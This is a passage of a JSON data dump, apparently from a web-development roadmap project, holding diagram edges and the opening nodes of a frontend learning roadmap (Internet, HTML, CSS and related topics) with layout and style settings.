ZhJhf1M2OphYbEmduFq-9\",\"sourceHandle\":\"x2\",\"target\":\"ODcfFEorkfJNupoQygM53\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-ZhJhf1M2OphYbEmduFq-9x2-ODcfFEorkfJNupoQygM53w1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"ODcfFEorkfJNupoQygM53\",\"sourceHandle\":\"x2\",\"target\":\"R_I4SGYqLk5zze5I1zS_E\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-ODcfFEorkfJNupoQygM53x2-R_I4SGYqLk5zze5I1zS_Ew1\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"ODcfFEorkfJNupoQygM53\",\"sourceHandle\":\"x2\",\"target\":\"qmTVMJDsEhNIkiwE_UTYu\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-ODcfFEorkfJNupoQygM53x2-qmTVMJDsEhNIkiwE_UTYuw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"R_I4SGYqLk5zze5I1zS_E\",\"sourceHandle\":\"x2\",\"target\":\"ib_FHinhrw8VuSet-xMF7\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-50gUj87wwSW8UQifdPcFzx2-ib_FHinhrw8VuSet-xMF7w1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"qmTVMJDsEhNIkiwE_UTYu\",\"sourceHandle\":\"x2\",\"target\":\"ib_FHinhrw8VuSet-xMF7\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-qmTVMJDsEhNIkiwE_UTYux2-ib_FHinhrw8VuSet-xMF7w1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"ib_FHinhrw8VuSet-xMF7\",\"sourceHandle\":\"x2\",\"target\":\"tG5v3O4lNIFc2uCnacPak\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-ib_FHinhrw8VuSet-xMF7x2-tG5v3O4lNIFc2uCnacPakw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"tG5v3O4lNIFc2uCnacPak\",\"sourceHandle\":\"x2\",\"target\":\"eghnfG4p7i-EDWfp3CQXC\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-tG5v3O4lNIFc2uCnacPakx2-eghnfG4p7i-EDWfp3CQXCw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"eghnfG4p7i-EDWfp3CQXC\",\"sourceHandle\":\"x2\",\"target\":\"hVQ89f6G0LXEgHIOKHDYq\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-eghnfG4p7i-EDWfp3CQXCx2-hVQ89f6G0LXEgHIOKHDYqw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"hVQ89f6G0LXEgHIOKHDYq\",\"sourceHandle\":\"x2\",\"target\":\"wBKp8Q5D6WhjVVsD89UHl\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-hVQ89f6G0LXEgHIOKHDYqx2-wBKp8Q5D6WhjVVsD89UHlw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"KMA7NkxFbPoUDtFnGBFnj\",\"sourceHandle\":\"x2\",\"target\":\"0vLaVNJaJSHZ_bHli6Qzs\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\"selected\":true,\"type\":\"simplebezier\",\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"wBKp8Q5D6WhjVVsD89UHl\",\"sourceHandle\":\"x2\",\"target\":\"0vLaVNJaJSHZ_bHli6Qzs\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-wBKp8Q5D6WhjVVsD89UHlx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\"selected\":true,\"selectable\":true,\"focusable\":true}]}"
  },
  {
    "path": "src/data/roadmaps/frontend/frontend.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"width\": 221,\n      \"height\": 490,\n      \"id\": \"0-AijuwIdYdGuiNnne4Yg\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -638.3075746114723,\n        \"y\": 2244.029159876233\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-end\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"Tqv7Lj8TklDTrZH5_fmUf\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 490\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -638.3075746114723,\n        \"y\": 2244.029159876233\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 490\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 68,\n      \"id\": \"lt2I-iu3cbAdYULHvQTp6\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 112.34973095743374,\n        \"y\": 1121.4097604780045\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"jhWc-VQRqJ4CJfJjkmSf8\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 112.34973095743374,\n        \"y\": 1121.4097604780045\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 68\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 68,\n      \"id\": \"jhWc-VQRqJ4CJfJjkmSf8\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -0.6057163550145788,\n        \"y\": 1130.9097604780045\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"a-BmplOk9rfE2Q9beP30d\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -0.6057163550145788,\n        \"y\": 1130.9097604780045\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 68\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 68,\n      \"id\": \"a-BmplOk9rfE2Q9beP30d\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -49.689212167555525,\n        \"y\": 959.9484886477385\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"y9e6gBuE1tiIOzhxm83cc\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -49.689212167555525,\n        \"y\": 959.9484886477385\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 68\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 68,\n      \"id\": \"y9e6gBuE1tiIOzhxm83cc\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -159.68921216755552,\n        \"y\": 959.9484886477385\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"LEijbLyxg4RyutKEM2Y5g\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -159.68921216755552,\n        \"y\": 959.9484886477385\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 68\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -264.6944045771742,\n        \"y\": 2625.163242675726\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue Learning with following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -264.6944045771742,\n        \"y\": 2625.163242675726\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 410,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 229,\n      \"height\": 290,\n      \"id\": \"Tqv7Lj8TklDTrZH5_fmUf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1886.382968916314\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-end\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 290\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -643.4418542150819,\n        \"y\": 1886.382968916314\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 290\n      }\n    },\n    {\n      \"width\": 166,\n      \"height\": 68,\n      \"id\": \"jJebnKe4JftMXZ1lCsipq\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -234.5,\n        \"y\": -100.59925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Front-end\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iogwMmOvub2ZF4zgg6WyF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -234.5,\n        \"y\": -100.59925177765109\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 166,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 156,\n      \"height\": 49,\n      \"id\": \"VlNNwIEDWqQXtqkHWJYzC\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -229.5,\n        \"y\": 68.27030742190215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Internet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_hYN0gEi9BL24nptEtXWU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -229.5,\n        \"y\": 68.27030742190215\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 308,\n      \"height\": 49,\n      \"id\": \"yCnn-NfSxIybUQ2iTuUGq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 91.2410268116243,\n        \"y\": -94.72969257809785\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How does the internet work?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"idLHBxhvcIqZTqmh_E8Az\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 91.2410268116243,\n        \"y\": -94.72969257809785\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 308,\n      \"height\": 49,\n      \"id\": \"R12sArWVpbIs_PHxBqVaR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 91.2410268116243,\n        \"y\": -40.729692578097854\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is HTTP?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"os3Pa6W9SSNEzgmlBbglQ\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 91.2410268116243,\n        \"y\": -40.729692578097854\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 308,\n      \"height\": 49,\n      \"id\": \"ZhSuu2VArnzPDp6dPQQSC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 91.2410268116243,\n        \"y\": 13.270307421902146\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is Domain Name?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3oInpqvTSSC5_K6i7j8N7\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 91.2410268116243,\n        \"y\": 13.270307421902146\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 308,\n      \"height\": 49,\n      \"id\": \"aqMaEY8gkKMikiqleV5EP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 91.2410268116243,\n        \"y\": 67.27030742190215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is hosting?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gRjFXRwpOwoyd15PHVpdB\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 91.2410268116243,\n        \"y\": 67.27030742190215\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 308,\n      \"height\": 49,\n      \"id\": \"hkxw9jPGYphmjhTjw8766\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 91.2410268116243,\n        \"y\": 121.27030742190215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DNS and how it works?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 91.2410268116243,\n        \"y\": 121.27030742190215\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 308,\n      \"height\": 49,\n      \"id\": \"P82WFaTPgQEPNp5IIuZ1Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 91.2410268116243,\n        \"y\": 175.27030742190215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Browsers and how they work?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CPRpuk76c9-wuIffEfu87\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 91.2410268116243,\n        \"y\": 175.27030742190215\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 308,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 308,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 174,\n      \"height\": 49,\n      \"id\": \"yWG2VUkaF5IJVVut6AiSy\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -601.8814218617622,\n        \"y\": 260.27030742190215\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"resources\": [\n       {\n          \"title\": \"MDN HTML Basics\",\n          \"url\": \"https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML\"\n       }\n       ],\n        \"oldId\": \"U0Pn4yFrx6D4CwpUolzOm\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 174,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -601.8814218617622,\n        \"y\": 260.27030742190215\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 260,\n      \"height\": 49,\n      \"id\": \"PCirR2QiFYO89Fm-Ev3o1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -644.8814218617622,\n        \"y\": -37.48450673924191\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn the basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JdTNyawEIHeBgq5p2ELwy\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -644.8814218617622,\n        \"y\": -37.48450673924191\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 260,\n      \"height\": 49,\n      \"id\": \"z8-556o-PaHXjlytrawaF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -644.8814218617622,\n        \"y\": 16.51549326075809\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Writing Semantic HTML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"08aXk7pJXz4gkrXyrmGky\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -644.8814218617622,\n        \"y\": 16.51549326075809\n      },\n      \"style\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 260,\n      \"height\": 49,\n      \"id\": \"V5zucKEHnIPPjwHqsMPHF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -644.8814218617622,\n        \"y\": 70.51549326075809\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Forms and Validations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yxcsIStIXMiZslCu1DPV5\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -644.8814218617622,\n        \"y\": 70.51549326075809\n      },\n      \"style\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 260,\n      \"height\": 49,\n      \"id\": \"iJIqi7ngpGHWAqtgdjgxB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -644.8814218617622,\n        \"y\": 124.51549326075809\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Accessibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jZcqyxmIvdqnxGDhbHqxk\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -644.8814218617622,\n        \"y\": 124.51549326075809\n      },\n      \"style\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 260,\n      \"height\": 49,\n      \"id\": \"mH_qff8R7R6eLQ1tPHLgG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -644.8814218617622,\n        \"y\": 178.5154932607581\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SEO Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yfirDE1KGIU9ryXQxg4qT\",\n        \"legend\": {\n          \"id\": \"R9WLhURhPdVNXP7AUTDvR\",\n          \"label\": \"Order not strict / Learn anytime\",\n          \"color\": \"#929292\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -644.8814218617622,\n        \"y\": 178.5154932607581\n      },\n      \"style\": {\n        \"width\": 260,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 128,\n      \"height\": 49,\n      \"id\": \"ZhJhf1M2OphYbEmduFq-9\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.18467266956964,\n        \"y\": 309.72214459475447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CSS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9oRqCFPmznk6bMFAtH0gZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.18467266956964,\n        \"y\": 309.72214459475447\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 196,\n      \"height\": 49,\n      \"id\": \"YFjzPKWDwzrgk2HUX952L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -111.68467266956958,\n        \"y\": 255.72214459475447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn the basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zdnKDruFT-mwYhyItM5px\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -111.68467266956958,\n        \"y\": 255.72214459475447\n      },\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 196,\n      \"height\": 49,\n      \"id\": \"dXeYVMXv-3MRQ1ovOUuJW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -111.68467266956958,\n        \"y\": 309.72214459475447\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Making Layouts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lmnqgHgt45-mXqKnW4Y_M\",\n        \"legend\": {\n          \"id\": \"NJhQIvMyMD1Cu-JA1UCmJ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -111.68467266956958,\n        \"y\": 309.72214459475447\n      },\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 196,\n      \"height\": 49,\n      \"id\": \"TKtWmArHn7elXRJdG6lDQ\",\n      \"type\": \"subtopic\",\n      \"position\": 